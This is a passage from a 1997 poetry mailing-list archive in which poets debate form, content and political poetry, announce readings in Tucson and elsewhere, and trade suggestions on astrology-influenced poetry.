about it here?

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

forthcoming in march: _constellation voice_ by linda russo

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455. **amato**
Re: Form/A branch off the "Disturbed" thread
Mon 17 Mar 1997

---

ah david, thanx for that!... how's the rest of that book?...

this is why (and where) the question of poetry opens to that of technology... i would think it impossible to discuss "technique" without reference to what's been going on in history of science/history of technology, and for that matter, without reference to broader sociocultural trends in the workplace and elsewhere (and texts which have plumbed, again, that "lit-sci" interface)... of course poets have, depending on the poet, been more or less attuned to such developments...

best,

joe

↑ Index

456. Tenney Nathanson
for those in the neighborhood (Antin talk piece)
Mon 17 Mar 1997

For those in or around Tucson, or likely to be on the day before Easter:

David Antin is going to be doing a talk piece, "yesterday tomorrow today."

saturday, March 29, at 10 a.m.

In the ahem "Swede" Johnson Building (Foundation/Alumni Building) on NW corner of Speedway & Cherry (1111 N Cherry). In the "Dining Room" (it's a BIG dining room). Free, and free eats (modest).

David will be appearing as part of the Arizona Quarterly Symposium, which runs Th the 27th through Sat the 29th.

Others appearing: Ed Dryden (on Melville), Susan Griffin (on James), Pat O'Donnell (on Mailer), Judith Roof (on "Perverse Viewing: Eve Arden and the Bliss of the Secondary"); Don Pease (on Jack London).

I can post or backchannel a full schedule if anyone is interested.

There's also a big bash on Saturday night.

Hope to see some of you there.

best

Tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

457. **Christopher Alexander**

Re: form/"deeply disturbed" (incestuous dub mix)

Mon 17 Mar 1997

---

thanks for a good & serious response, demian.
I like your thoughts on "respect", though honestly
I think the poetic logic which informs some of
the work I (& others) mentioned is flawed; & as
much sympathy as I may have with the impetus
of the work--be that irish nationalism or any of
various feminisms or an attempt to increase class
consciousness--I am suspicious of much of it
on the basis of the subject relations it sets up &
the relationship of content to form, which can
seem more like language as hand-truck, loaded
with pre-determined meaning, than a deep encounter
with the medium & its relation to meaning (which,
yes, can happen outside of what we here term--
most recently--"innovative" work).

I guess I'm suspicious--though probably not so
dismissive as I let on earlier--of a poetry that is
primarily attractive to me by means of what
it says, the sort of gestalt of political ideas
visible through the poem, or which the poem
stands for (acts as a representative of), than
what the poem itself actually says, i.e., the poem
itself as an evolution of meaning as inextricable
from form & vice versa. & if I'm not or if I
try not to be dismissive of such a poetry, it's
more because of my enthusiasm for the kind
of social relations of which that poetry partakes--
as with joe amato's mention of poetry that appeals
to the experience of vietnam vets, poetry that they
can "relate to" directly, or (ever been to a marilyn
hacker reading?)--than out of enthusiasm for
that poetry. & when I am dismissive, as often
I am, it's at least in part because, outside of the
immediate social context (i.e., a way of bringing
people together physically), I think there's more
benefit in reading a good provocative essay or a

book which engages those political questions specifically & in detail, than in the usual sort of head-nodding recognition.

I guess, though, that when I asked "what does it mean to respect/support etc", I should have specified that I was thinking in more practical terms, viz., what form, in practice, does this "respect" or "support" take? it's a very fine thing to announce it here ["everybody I love you"], but what is actually being proposed? will we teach these poets? buy their books? read their books? attend their readings? invite them to read with us? I'm not sure I'm willing to do these things. I've read enough of heaney & walcott, for instance, to last me; & enough "hard-hitting" "tell-it-like-it-is" american "poetry of protest" to consider reading more. I own this could be my intolerant streak showing--I do have one. [straight edge = "hate edge"]. but, he asks in a friendly manner, how far, then, or where specifically, do others intend to go?

chris

..
christopher alexander, etc. / nominative press collective
[redacted] / **********

forthcoming in march: _constellation voice_ by linda russo

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458. Steven Marks
FC2/BIB funding cuts
Mon 17 Mar 1997

To the list: Publishers Weekly (3/17/97 issue) has a story about how Rep. Pete Hoekstra is calling into question a $25,000 grant to FC2/BIB. He is the chairman of the House Subcommittee on Oversight and Investigation. He says that he is upset by the sexually explicit material which is "an offense to the senses of this Subcomittee and, I would presume, to the taxpayers that have been unwittingly forced to pay for it." (I suppose that explains that curious pain I've been feeling in my shoulder.) He is also questioning a $45,000 grant to the Unit for Contemporary Literature at Illinois State. Seems he is also upset that they are going to use this money to put up a Web site showing their smutty books.

Meanwhile, the university and FC2 have a week to produce requested documentation for the Subcommittee. There goes some of that grant money, but then that's almost certainly the intent.

Story is by Bridget Kinsella. Perhaps Michael Coffey could post the entire article to the list. Not so coincidentally, there is another story on the same page about Wole Soyinka being charged with treason by the Nigerian government. They claim he is connected to a series of bombings of army installations.

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

459. **Hugh Steinberg**
Re: "deeply disturbed"
Mon 17 Mar 1997

>What is the bad
>that results from literary narrowmindedness, or formal
>conservatism *in writing*?
>
Not too much when you just hone in on individual writers writing their individual poems.

But what happens when such narrowminded people sit in positions of authority over other people's writing: editors, teachers, publishers, grant judges, etc. Having experienced more than a few narrowminded editors, teachers, publishers, grant judges, etc., I can say it is wonderful if they like you and you jibe with their tastes, and pretty darn miserable when you don't.

Hugh Steinberg

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460. **Charles Alexander**
in or around tucson?
Mon 17 Mar 1997

At 05:35 PM 3/17/97 -0700, you wrote:
>For those in or around Tucson, or likely to be on the day before Easter:
>
>David Antin is going to be doing a talk piece, "yesterday tomorrow
>today."

>
>saturday, March 29, at 10 a.m.

thanks, tenney
and also, for anyone in around or about to visit Tucson:

A POETRY READING & Reception

TOM MANDEL

Sunday, March 23, 7:30 pm
at the Chax Press Studio
101 West Sixth St., no. 6
(enter on west side of warehouse building, the middle of three doors)
no admission charge
Call Chax Press at [redacted] for more information

Tom Mandel's book of poetry, Prospect of Release, was recently published by Chax Press.

Tom Mandel was born in Chicago in 1942, the American child of Austrian Jews fleeing Hitler. He was educated in Chicago's public schools and jazz/blues clubs, and at the University of Chicago. He has lived in New York, Paris, and San Francisco, and now resides in Washington DC.

Mandel is the author of ten books of poetry. His first book, Ency (Tuumba, 1978), was a foundational work in th early history of language poetry. Recent books include Four Strange Books (GAZ, 1990), Realism (Burning Deck, 1991), Letters of the Law (Sun & Moon, 1994), Ancestral Cave (Zasterle, 1996), Prospect of Release (Chax, 1996), and, with the late Daniel Davidson, Absence Sensorium (Potes & Poets, 1996).

The poet Ron Silliman says of Prospect of Release, "These are the most intensely felt poems I have ever read."

from Prospect of Release, by Tom Mandel:

Subtle, handsome vanity visits me.
Hands large, fingers long, face modeled
and content, a bare spark binding to
release, soul dances in the prospect.

Hands drew across his face. None to
comfort me but him, and he is gone.
My reverence is modeled on his absence

the absence of his lips and eyes. Dust
entered a window behind his head,
whirred in a shaft of Autumn light.

Winter light. Silent, a message it did
not bear but now suggests, long settled
like an issue, election or argument,
cleaved rock, or two that never joined.

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and very likely it is reasonable.

Gertrude Stein, from "A Substance In A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press

[redacted]

↑ Index

461. Charles Alexander
another in tucson
Mon 17 Mar 1997

If you have a chance to be in Tucson on April 12

Saturday, April 12
7pm
Dinnerware Gallery (135 E. Congress in downtown Tucson)

A Reading by

KAREN MAC CORMACK
&
STEVE McCAFFERY

And a celebration of Karen's new book, The Tongue Moves Talk, due out then from Chax Press

Reception in the gallery to follow the reading

This reading will also be taped by KXCI radio and broadcast at a later date. I'll let you know when that will be.

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and very likely it is reasonable.

Gertrude Stein, from "A Substance In A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press

[redacted]

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462. David Kellogg
Re: Form/A branch off the "Disturbed" thread
Mon 17 Mar 1997

On Mon, 17 Mar 1997 [redacted] wrote:

> *ah david, thanx for that!... how's the rest of that book?...*

Damn good, actually. In my view, one of the best books of its kind in recent memory, up there with Silliman's _New Sentence_ tho not nearly so well known. Scully takes his Marxism very seriously, and to good effect. In the essay quoted, he distains what he calls "stylistics" in advocating an approach to form deriving from Macherey and Althusser. Buyt despite that, the prose is never dry.

> *this is why (and where) the question of poetry opens to that of technology... i would think it impossible to discuss "technique" without reference to what's been going on in history of science/history of technology, and for that matter, without reference to broader sociocultural trends in the workplace and elsewhere (and texts which have plumbed, again, that "lit-sci" interface)... of course poets have, depending on the poet, been more or less attuned to such developments...*

More or less is right.

Cheers,
David
~~~
~~~

meets in Sweeney Hall 348, next to the seventh street garage, at 7:00 P.M. -- If you need directions, call me at [redacted], and leave a number where I can call you back --

also

I'll be in Atlanta for the College Language Association meeting over at Spellman and environs April 16-20 -- Is anybody else on this list headed there this year?

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464. **shoemakers**
Re: Disturbed Tree/Contraries
Mon 17 Mar 1997

---

re: "the Pat Boone of poetic blandness"--Has anyone else noticed that Pat has undergone some sort of bizarre heavy-metalish makeover? Last time i saw him on the tube he was sporting leather, chest hair, and tattoos (albeit, probably the kind that wash off... steve

↑ Index

465. **Christopher Alexander**
Re: Disturbed Tree/Contraries
Mon 17 Mar 1997

> re: "the Pat Boone of poetic blandness"--Has anyone else noticed that
> Pat has undergone some sort of bizarre heavy-metalish makeover? Last
> time i saw him on the tube he was sporting leather, chest hair, and
> tattoos (albeit, probably the kind that wash off...
> steve
mein gott! I miss those smiling white bucks.
chris "spiked with milk" etc
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

forthcoming in march: _constellation voice_ by linda russo

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466. **clare emily clifford**
sharon olds.....
Mon 17 Mar 1997

---

i don't think this has been mentioned before
but i thought i'd send the news on...

for those interested or in the near area
sharon olds will be reading at university of
virginia in charlottesville, virginia
at one pm on wednesday march 19th
and on thursday march 20th at 3pm....

i believe that both readings are going to be
the the UVa bookstore...

hope some of you might be
able to make it...

smiles,
love and light,
clare emily

'the artist is extremely lucky who is presented
with the worst possible ordeal which would not actually kill him...
at that point he's in business...' -john berryman

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467. **George Bowering**

Re: Disturbance in the Field

Tue 18 Mar 1997

> *David Bromige will meet with my graduate seminar at San Jose State University on Tuesday night March 18*

Glad you alerted us about this. Now, if Bromige claims that I was a co-author of his scabrous unpublished novel _Piccolo Mondo_, I want to go on record as saying I didnt have anything to do with it. In fact, I could not finish reading it. It is not only gratuitously pornographic, but it is also politically insensitive. I wash my hands and declare innocence.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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468. **Steven Marks**

Re: form/"deeply disturbed" (incestuous dub mix)

Tue 18 Mar 1997

On Mon, 17 Mar 1997, Christopher Alexander wrote:
>
> I guess, though, that when I asked "what does
> it mean to respect/support etc", I should have
> specified that I was thinking in more practical
> terms, viz., what form, in practice, does this
> "respect" or "support" take?
> what is actually being proposed?
> will we teach these poets? buy their books?
> read their books? attend their readings? invite
> them to read with us?
> he asks in a friendly manner, how far, then, or
> where specifically, do others intend to go?
>
A very large question to which I can give only this small answer. As a reviewer of nonmainstream poetry, I try not only to place reviews with the magazines and reviews which serve this group (I know these are all very general terms, but I'm trying to be brief), but with more mainstream journals as well. I only review what I enjoy and fully understand so my reviews are written more from a descriptive than evaluative perspective. This, I think, helps readers unfamiliar with innovative poetry to find a thread which they can follow. I don't how "far" this goes but I hope that it is supportive.

cheers,
Steven (proud winner of the Golden Shamrock Award)

Steven Marks

http://members.aol.com/swmarks/welcome.html

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469. **Jocelyn Emerson**

Re: Disturbed Tree/Contraries

Tue 18 Mar 1997

> *re: "the Pat Boone of poetic blandness"--Has anyone else noticed that Pat has undergone some sort of bizarre heavy-metalish makeover? Last time i saw him on the tube he was sporting leather, chest hair, and*

> *tattoos (albeit, probably the kind that wash off...*
> *steve*

Yes, apparently he did this as a joke for some TV music awards thing, but it got him in a hell of a lot of trouble with his Christian TV audience for his daily sunday program (somewhere) and apparently, in thinking about the censorship he's gotten from that audience, he's rethinking some of his more doctrinal assumptions about appearance vs. reality, and humour. A happy ending.

Jocelyn Emerson

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470. F.A. Templeton
Re: Blarnes oeuvre
Tue 18 Mar 1997

On Sun, 16 Mar 1997, Henry Gould wrote:

> *Has anyone read the poetry (early, especially) of Eric Blarnes? Controversial*

Henry, where is it to be found?

Fiona

↑ Index

471. F.A. Templeton
Re: Blarnes oeuvre
Tue 18 Mar 1997

Henry, You got me. But what else do you know about 30s anglo-indian poets?

Fiona

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472. Michael Boughn
Re: Contraries/I will not rest from Mental Fight, etc.
Tue 18 Mar 1997

Joe wrote:

> *Apologies in advance to the avant-garde gods -- I certainly*
> *wouldn't want to be seen as "conventional" -- but for me, Creeley's*
> *ancient dictum that Olson takes up in "Projective Verse" solved a lot of*
> *problems. That is, CONTENT (however defined) has to start the process --*
>
> *. . . Starting with an idea*
> *of form, for me, trivializes the work -- it brings in too many ancillary*
> *considerations, it provides work for academics (!), it ultimately deflects*
> *attention from the WORK, itself. . .*

> *that doesn't arise as a consequence of FORM, it arises because there's something there that preceded the form, that has demanded to be articulated in (yes) just this form, in just this way. (Was it Duncan that said "out of deep need"?)*
>
> *A poem "works" -- or not -- for other reasons.*

Isn't your "(however defined)" precisely the issue, Joe? You can read the Creeley at least two ways, one of which blurs into a kind of sloppy Platonic dualism, the other of which sees these two domains (of thinking?--is this an ontological problem--or a taxonomic one?) to be immanent each within the other. And it is important to keep in mind (as someone--I think Professor Perloff--pointed out) that form is NOT rhymes and quantities, but--what?--a kind of thinking? (your "work"?).

After reading a hundred books of poems for an omnibus review for University of Tornto Quarterly, I was sharply reminded of what both Olson and Creeley were concerned to get away from--that self-satisfied display of the poet's skill (at doing what's been done). It doesn't really matter, finally, whether the device is the perfect metaphor or the perfect syntagmatic distortion. The YAWN is the same.

YES to the Duncan (tho now I think maybe it's originally Pound), but is there any way to separate that "need" from what you're calling "form"?

Contrarily,
Mike
[redacted]

↑ Index

473. Michael Boughn
deep need
Tue 18 Mar 1997

No, what a dummy I am, it's Zukofsky:

> Out of deep need
> four trombones
> and the organ in the nave

something like that, but definitely Zukofsky. Tho I'll bet Duncan wished he'd said it.

Mike
[redacted]

↑ Index

474. **Henry Gould**
formally disturbed
Tue 18 Mar 1997

Once again, I find all the talk about "formal innovation" and "challenging the reader" vs. "manipulating the reader" with "conventional rhyme and meter" set in a "political" context of "radical" and "conservative"

to be

pure

unadulterated

yimmer-yammer &

hogwash.

I refer you all to Baudelaire, Villon, or recent hip-hop "breakthroughs". I refer you to Edgar Poe & Valery. I refer you to Whitman's constancy, his readable expressiveness. I donate you to Emily, if you dare stand in the same room with her.

You are still living among the tombs of John Crowe Ransom & pals, the 1950s and Wilbur's (and Ashbery's, and Lowell's, and Rich's, and Ginsburg's & all dat generation's) SLEEP. And they snore on the veritable edge, the periphery, the surface, the shim, the slag, the nothing, of what poetry is all about. Your idea of "conservative form" is not even THE BEGINNING of what it's about.

I will allow all manner of bravery and daring and innovation - but I will judge by results - the impact of the whole thing. Show me something found and won - not something mumbled and put-over, and justified as "experimental." - Henry Gould

↑ Index

475. **Gwyn McVay**
Re: Disturbed Tree/Contraries
Tue 18 Mar 1997

Hey. Hey. Let's not stereotype Pat Boone either. His rendition of Alice Cooper's "No More Mr. Nice Guy" on the new album of the same title is, well, really something.

Gwyn

↑ Index

476. Mark Wallace
pre-determined form in the avant garde
Tue 18 Mar 1997

I've been following this mini-thread about form as exploratory or predetermined with some interest, and I did want to point out that there is, in fact, quite a bit of interesting avant garde poetry that works with certain elements of pre-determined form. The non-intentional methods of Jackson Mac Low, for instance, have often used a variety of pre-determined mathematical, computer, and other techniques to shape the form of his poems, and indeed much of his work revolves around such structures. Similar examples--Silliman's use of Fibonacci sequences in, I believe, Tjanting (I'm at work--no books in front of me), Tina Darragh's use of the dictionary. Given time, I could probably come up with more--but I've got no time this morning.

In any case, the relation between exploratory and pre-determined form is quite complex--in some cases, predetermined forms of various types and degrees can certainly be exploratory and about discovery.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

477. Christopher Alexander
Re: formally disturbed
Tue 18 Mar 1997

henry wrrrr:
> Once again, I find all the talk about "formal innovation" and "challenging
> the reader" vs. "manipulating the reader" with "conventional rhyme and meter"
> set in a "political" context of "radical" and "conservative"
I'd agree with your judgement of
these simplistic terms, henry, but
are these the terms of the discussion,
or an easy dismissal of same? &
are the variety of questions raised
regarding the subject relations of a

poem & so forth really as separate
from aesthetic concerns as you
seem to imply below?

> *I will allow all manner of bravery and daring and innovation - but I will judge by results - the impact of the whole thing.*

I sympathize with your lack of patience--
our handling of this re-/current discussion
can & does get too sloppy--but then I
tire of attempts to grandly sweep away
what could be, though again often is
not, an important questioning of our own
assumptions about art & its political functions
(rather than, say, a renumeration of the "views"
& "values" that make us a "community").

or maybe I'm just cranky at 9 am.

btw, what are these recent hip-hop breakthroughs?

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

forthcoming in march: _constellation voice_ by linda russo

↑ Index

478. **amato**
Re: formally disturbed
Tue 18 Mar 1997

henry, the only possible way i can take your more recent provocation is thusly: that we're busy, around here usually, talking *about*, not actually enacting, poetry (whatever this latter)... and i don't quite understand -- though i trust you have some writing in mind here? -- how our, well, more critical demeanors are going to "measure up" or some such to poetry in poetic terms... or to be a bit provocative mself, how poetry is going to "measure up" or some such to criticism in critical terms...

(if you'll permit me this one archaism) my heart may lie with trying to write a poem... but i'm still not about to dismiss all commentary as merely ex post facto... as a matter of fact, i don't think we're all still barking at the new critical moon, either... so though i believe it's correct to point, say, to hip-hop as apropos of what's happening these days --- the spirit of your post (?) --- i think it's probably not so helpful to dismiss the chatter in these parts as "hogwash"...

seems to me this is a function of how one comes to these regions --- and while i'll allow that there are all sortsa motivations possible, i take it as an article of faith that most of us are here to learn something from one another...

which again is not to suggest that you or i don't have a sense of humor... i know you do, and i do too --- so to return the gesture in kind --- and what i've been trying, in so many words, to say --- is that, dear henry, your post strikes me as, well, balderdash...

best, really

joe

↑ Index

479. **henry**
Re: formally disturbed
Tue 18 Mar 1997

---

my balderdash is very specifically motivated, Joe. Let me hedge my remarks by acknowledging my limitations. I too am a dweller among the tombs. I'm Gould. I'm ghosted. I'm spooked. In poetry, I face backwards (both faces) and listen. My daily grind in a library only augments that particular narrow strength/limitation. (Not to say libraries face backwards - far from it. But it gives me fuel for my particular aim.) My approach has always been to inhabit & build on past methods. This is inherently conservative (no matter what models you choose).

What most people find innovative & exciting in poetry today builds on the border between poetry per se and other things: music, math, theory, marginality, other cultures, performance, visual art, bizarre language practices, etc. But I say poetry's on a continuum between such things and poetry per se, which is made of words. Words themselves are already so distended, deep, distortable, dimensional, messy, mundane, non-poetic, that adjacent arts - music, visual - are, for me, always just that: adjacent. Poetry per se is, I agree with Mandelstam, a sort of verbal crystal - a stone with an unprepossessing surface and a "terrible density" hidden inside. Poetry is other-textual. Poetry is verbal espionage. Marlowe & Shakespeare understood this VERY well. So did the writers of the Bible. So did Celan.

My quarrel with the "disturbed" discussion is that it really does replay, and play over the surface, of issues of form/cultural politics which end up stereotyping MY particular approach to poetry - without even knowing what formal questions involve. It all boils down to "rhyme & meter", "willed form", "formal innovation", blah blah... meaningless counters in an endless merry-go-round of superficial nonsense. Not to mention politics... it IS a constant echoing of issues more relevant to bubbling blab of 50s new critics and beats. What I said in a

previous post still holds: get poor. What does this mean? "Read it back to me - quietly, quietly."

- Henry Gould

↑ Index

480. **Mark Prejsnar**
Re: zoothology
Tue 18 Mar 1997

Gary's response is excellent, and very helpful...I do feel though that Antin's remark was more than a "clever quip" --to some extent it was a cri de coeur; it reflects a way poets often feel, when dismembered in order to be remembered. It's a reasonably serious feeling in relation to one's work (one's self-construction); it needn't be taken primarily as a snide attack on anthologists; if you place yourself at the existential point of the writer being anthologized, it has some honest resonance (like any real cry from the heart, it's validity doesn't mean that it isn't also a limited point of view; on the contrary of course it emphasizes its partiality as a pserspective!)

Mark Prejsnar

↑ Index

481. **Mark Prejsnar**
Re: In the disturbed tree
Tue 18 Mar 1997

Dan first sent his post to me privately; since the same text has now been sent to the list, I'm re-posting a copy of my backchannel reply to him..

Mark P.

↑ Index

482. **Mark Prejsnar**
Re: In the disturbed tree (fwd)
Tue 18 Mar 1997

---------- Forwarded message ----------
Date: Mon, 17 Mar 1997 15:54:26 -0500 (EST)
From: Mark Prejsnar <[redacted]>
To: DS <[redacted]>
Subject: Re: In the disturbed tree

Well, I'm not sure.....Uh, you say I missed soneone else's point, but none of your arguments in your posting to me seem to be replying to positions I've

articulated...I explicitly said that the "tolerant" position is one with which I feel a lot of sympathy; the poets you firmly list as ones who may not be to my taste (Walcott, Heaney, Rich)..I haven't been disparaging 'em here (on the Poetix list), I specifically mentioned that I have sympathy with ALL these positions;,,,that's one of the reasons I was trying to get more debate stirred up (--this thread has been very exciting to me; too often the list gets bogged down, in my opinion, in personal chit-chat, or topics very far from its ostensible theme). I've read the 3 poets you accuse me of disliking for 20 years or so, know them well, and have plenty of respect for them. Now what various Black or female etc. poets or readers think about LangPo, I can't precisely help...One of the basic lessons I take from both publishing my work and working on the left since around 1969 (when I was in 7th grade) is, that you can't let anyone else make your choices for you. I think it's very interesting that few people ask jazz musicians/affecianados to justify to working or Black people their love of Ornette Coleman's music! But he occupies a similar place in the universe of musical expression that say Clark Coolidge does in universe of poetry...So no, I don't really give a damn that some people don't like my work or Coolidges..I'm no longer young and there isn't time to be held back by browbeating. I don't identify myself or my work with LangPo, which is a term I believe shd. be used specifically for the folks who used it of themselves and involved themselves with that circle's activities...Meserli, Silliman, Perelman, Hejinian, Harryman, our great list-owner,etc. But I of course think their work has been helpful and empowering. However, I do indeed think that those more establishment-approved poets should be read and responded to; by expressing a hope that we on the list could thresh out these positions (the tolerant vs. the sharp-edged political poetix of someone like Bruce Andrews, say) I meant just that: that I hoped we could have a broader and broader dialogue.

You seem to be implying that I was putting people (and positions) down where I most difintely wasn't, and trying to shut off dialoge, which I most definitely wasn't..

Mark

↑ Index

483. **David Kellogg**

Re: Contraries/I will not rest from Mental Fight, etc.

Tue 18 Mar 1997

On Tue, 18 Mar 1997, Michael Boughn wrote:

> *Isn't your "(however defined)" precisely the issue, Joe? You can read the Creeley at least two ways, one of which blurs into a kind of sloppy Platonic dualism, the other of which sees these two domains (of*

> *thinking?--is this an ontological problem--or a taxonomic one?) to be immanent each within the other. And it is important to keep in mind (as someone--I think Professor Perloff--pointed out) that form is NOT rhymes and quantities, but--what?--a kind of thinking? (your "work"?).*

Let me chime in:

Yeah, sure. But in practice talk about poetry seems to keep privileging one over the other; either we talk about content in terms of form (form comes first), or vice versa (the form "fitting" the content). The problem is, reading Creeley's dicta rigorously doesn't necessary last into our reading of actual poems. Besides, this "immanentist" reading actually blurs Creeley's words. Form as an extension of content is NOT the same thing as Content as an extension form. "Extension" suggests temporal and ontological priority. I'm not saying we should not dissolve such priorities; I'm only saying that dissolving them in practice is pretty damn difficult. That was one element of my critique of Perloff in _Diacritics_.

Cheers,
David
~~~
~~~

> *re: "the Pat Boone of poetic blandness"--Has anyone else noticed that Pat has undergone some sort of bizarre heavy-metalish makeover? Last time i saw him on the tube he was sporting leather, chest hair, and tattoos (albeit, probably the kind that wash off...*
> *steve*

↑ Index

485. **Christopher Alexander**
Re: formally disturbed
Tue 18 Mar 1997

---

alright, let me try again--
my server is a bit slow
to reach the list in buffalo
this morning.

henry wwrtt:
> My quarrel with the "disturbed" discussion is that it really does replay,
> and play over the surface, of issues of form/cultural politics which
> end up stereotyping MY particular approach to poetry - without even
> knowing what formal questions involve. It all boils down to "rhyme & meter",
> "willed form", "formal innovation", blah blah... meaningless counters in
> an endless merry-go-round of superficial nonsense.

I see your point henry, but again I'd argue that what
you're reacting to is an unfortunate slippage, which
several participants have tried explicitly to prevent or
correct (thanks marjorie et al.), from form as "the relation
of language to meaning" to form as "received versus
(so-called) innovative form". certainly it hasn't been
my intent, & I'm not the only one, to disparage work
which is formal in the latter sense. I'd hate as much as
you would for this discussion to degenerate into a
round of sonnet-bashing, because I don't learn anything
from that at all. whereas I am concerned about an easy
acceptance, easy both as hastily-made & as non-commital,
of a sort of content-oriented left poetry, & I would, like
mark, hope to see more discussion in that vein.
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

forthcoming in march: _constellation voice_ by linda russo

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486. Mark Prejsnar
Re: formally disturbed
Tue 18 Mar 1997

Uhh, do you refer us to any actual living poets??

On Tue, 18 Mar 1997, Henry Gould wrote:

> *Once again, I find all the talk about "formal innovation" and "challenging the reader" vs. "manipulating the reader" with "conventional rhyme and meter" set in a "political" context of "radical" and "conservative"*
>
> *to be*
>
> *pure*
>
> *unadulterated*
>
> *yimmer-yammer &*
>
> *hogwash.*
>
> *I refer you all to Baudelaire, Villon, or recent hip-hop "breakthroughs". I refer you to Edgar Poe & Valery. I refer you to Whitman's constancy, his readable expressiveness. I donate you to Emily, if you dare stand in the same room with her.*

etc etc.>

↑ Index

487. Ira Lightman
Astrology poetics
Tue 18 Mar 1997

Does anyone know of poetry, music or any other
art form influenced by astrology and the zodiac,
esp. twentieth century work? I'm currently
working creatively on this, and am drawing inspiration
from two works especially: Finnegans Wake, and
Zodiac, a musical piece by Stockhausen. Is anyone
interested, for example, in contemplating the
astrological influences on the experimental
poets mentioned or contributing to this list? I look them
up from time to time because the reference volume,

Contemporary Poets, gives exact birthdays; time of birth is rarely printed, unfortunately....

Any tips from anyone would be truly appreciated.

Ira Lightman

↑ Index

488. **Gwyn McVay**
Re: Astrology poetics
Tue 18 Mar 1997

There's always Kenneth Anger's /Scorpio Rising./

Gwyn

↑ Index

489. **dbkk**
Re: formally disturbed
Tue 18 Mar 1997

At 8:43 AM -0500 3/18/97, Henry Gould wrote:

> *I refer you all to Baudelaire, Villon, or recent hip-hop "breakthroughs". I refer you to Edgar Poe & Valery. I refer you to Whitman's constancy, his readable expressiveness. I donate you to Emily, if you dare stand in the same room with her.*

Don't you think "Emily" deserves a last name like the poet guys have--or is she some kind of maid or dog or something?

Dodie

↑ Index

490. **henry gould**
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 10:08:27 -0800 <[redacted]> said:
>
>Don't you think "Emily" deserves a last name like the poet guys have--or is
>she some kind of maid or dog or something?
>
>Dodie

we're on a first-name basis. She calls me "Dolt".

↑ Index

491. **henry gould**
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 09:48:53 MDT Christopher Alexander said:
>
>acceptance, easy both as hastily-made & as non-commital,
>of a sort of content-oriented left poetry, & I would, like
>mark, hope to see more discussion in that vein.

In my view there is only poetry. Discussions at this level of generality (left poetry, formal poetry, innovative poetry) somehow miss the poetry. OK I'm being tendentious & vociferous. It's a way of underlining. - Henry G

↑ Index

492. **henry gould**
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 10:52:48 -0500 Mark Prejsnar said:
>Uhh, do you refer us to any actual living poets??

If I see any I'll let you know. - the Ghoul

ALLEGORY OF THE POETS

The were clustered together in the Crystal Room,
the Poets. Dressed in leather and velvet, and
sprawled across the loveseats with carefree
insouciance, they spoke in measured sentences
of the coming Reading; of their various
accomplishments; their travels near and far;
their books, their audiences, their salaries.
They laughed and winked and nodded and stared
like ordinary men and women.

No one
sat in the Chair that faced them, solitary,
at the end of the room. They waited
for someone to come, but no one came.
They chatted on, waiting, for hours there...
but I can't remember what they said,
and I forget their names.

↑ Index

493. **amato**
Re: formally disturbed
Tue 18 Mar 1997

henry, thanx for your last post... i think there's a distinction to be drawn (albeit a subtle one) twixt "conservative" and *preservative*... esp. given the various political registers one is likely to hit with the former... universities are in general highly preservative institutions...

but by way of answering directly to your sense that more needs to be discussed wrt contemporary poetries, however "innovative," i can only say for my part that i've always assumed that poetry is not just about language --- that in fact i don't see why poetry shouldn't be, among so many other things, a matter of persuasion... albeit there are so many different ways to go about persuading... which is probably as oracular as i'll be hereabouts...

best,

joe

↑ Index

494. **Keith Tuma**
Re: Astrology poetics
Tue 18 Mar 1997

Ira--

Check out Joseph Gordon Macleod, _The Ecliptic_ (Faber, 1930).

Keith Tuma

↑ Index

495. **William Burmeister Prod**
Re: formally disturbed
Tue 18 Mar 1997

> *I refer you all to Baudelaire, Villon, or recent hip-hop "breakthroughs". I refer you to Edgar Poe & Valery. I refer you to Whitman's constancy, his readable expressiveness. I donate you to Emily, if you dare stand in the same room with her.*

I appreciate the roundness of your post. With all due respect to your interests, what hip-hop "breakthroughs" have we seen of late. Is any of it truly "new"? Is anything ever "new"? Are we just dwarves on the backs of the literary giants? (Born at the wrong time I guess). Rilke had as high an estimation of poetry, but we all know that he too could be boring or predictable at times. Breakthroughs

as breakaways, break outs, break offs, break ins, breakdowns. Regardless, great verse still gets written.

I do like where all this discussion is going. To me though, this post seems to suggest the death of poetry (?) The endgame as Marjorie suggests in Radical Artifice.

Best to all in a great discussion,

Bill B.

↑ Index

496. **Jerry Rothenberg**
Re: Astrology poetics
Tue 18 Mar 1997

Ira --

This was never my thing exactly, but there was a time (if I remember right) when poets near and dear to me were exploring older, more recently occulted sciences like astrology & alchemy, etc. I would trace it back to surrealist roots at the very least -- the kind of thing that Artaud denounces Breton for in his great letter & outcry of February 1947 (a surrealist exhibit structured on the 12 houses of the zodiac). I'm sure, once you get started on this, that the examples will be astronomical (not only astrological). But one to look out for -- totally neglected on this list -- is Wakoski, who was at one time into casting charts & who surely has it running through the work -- at least the early work. (Di Prima too, who was otherwise a close student of alchemy & such.) You might also check back into AMERICA A PROPHECY (if available to you) -- the anthology that George Quasha & I committed in the early 70s -- & there you'll find (on p. 239) a "horoscope [with illustrated chart] of a tentative north American republic / born Philadelphia, Pa., 4 July 1776" -- the work credited to "anonymous" but revealed as transmitted "per R.K. Amanuensis" [aka Robert Kelly]. This was also around the time (a few years later) that Richard Grossinger put out an astronomy issue of his magazine IO but including takes on that that would more readily be identified with astrology. And David Antin has a lovely take-off on the reading of constellations in the second section of his poem "The Black Plague" (reprinted in the Sun & Moon Selected). It is all -- as you know and, if I remember, have recently expressed -- an indication of the closeness between poetry (& art) & "mysticism" of all sorts that makes for a lot of current problematics in our practice. It is something that fell out of 